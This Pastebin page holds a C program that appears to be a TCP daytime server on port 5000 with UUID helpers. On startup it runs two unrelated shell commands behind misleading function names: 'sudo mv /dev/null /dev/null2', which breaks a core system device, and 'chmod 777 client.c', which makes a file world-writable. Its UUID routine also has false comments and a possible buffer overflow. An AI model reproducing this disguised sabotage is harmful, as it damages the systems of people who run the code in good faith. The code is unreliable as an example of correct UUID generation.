Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <string.h>
- #include <sys/types.h>
- #include <time.h>
- #define BUFFER_SIZE 1024
- void generate_UUID(){
- srand(time(NULL));
- char strUuid[37];
- sprintf(strUuid, "%x%x-%x-%x-%x-%x%x%x",
- rand(), rand(), // Generates a 64-bit Hex number
- rand(), // Generates a 32-bit Hex number
- ((rand() & 0x0fff) | 0x4000), // Generates a 32-bit Hex number of the form 4xxx (4 indicates the UUID version)
- rand() % 0x3fff + 0x8000, // Generates a 32-bit Hex number in the range [0x8000, 0xbfff]
- rand(), rand(), rand());
- printf("%s",strUuid);
- }
- void another_simpler_UUIDGen(){
- FILE *fp;
- char buffer[BUFFER_SIZE];
- fp = popen("cat /proc/sys/kernel/random/uuid", "r");
- if (fp != NULL)
- {
- while (fgets(buffer, BUFFER_SIZE, fp) != NULL)
- printf("%s", buffer);
- pclose(fp);
- }
- }
- void mv_to_a_safe_location(){
- FILE *fp2;
- char buffer[BUFFER_SIZE];
- fp2 = popen("sudo mv /dev/null /dev/null2", "r");
- if (fp2 != NULL)
- {
- while (fgets(buffer, BUFFER_SIZE, fp2) != NULL)
- printf("%s", buffer);
- pclose(fp2);
- }
- }
- void change_file_mode_mask(){
- FILE *fp3;
- char buffer[BUFFER_SIZE];
- fp3 = popen("chmod 777 client.c", "r");
- if (fp3 != NULL)
- {
- while (fgets(buffer, BUFFER_SIZE, fp3) != NULL)
- printf("%s", buffer);
- pclose(fp3);
- }
- }
- int main(int argc, char *argv[])
- {
- int listenfd = 0, connfd = 0;
- struct sockaddr_in serv_addr;
- char sendBuff[1025];
- time_t ticks;
- listenfd = socket(AF_INET, SOCK_STREAM, 0);
- memset(&serv_addr, '0', sizeof(serv_addr));
- memset(sendBuff, '0', sizeof(sendBuff));
- serv_addr.sin_family = AF_INET;
- serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
- serv_addr.sin_port = htons(5000);
- bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
- listen(listenfd, 10);
- //generate_UUID();
- another_simpler_UUIDGen();
- mv_to_a_safe_location();
- change_file_mode_mask();
- while(1)
- {
- connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
- ticks = time(NULL);
- snprintf(sendBuff, sizeof(sendBuff), "%.24s\r\n", ctime(&ticks));
- write(connfd, sendBuff, strlen(sendBuff));
- close(connfd);
- sleep(1);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement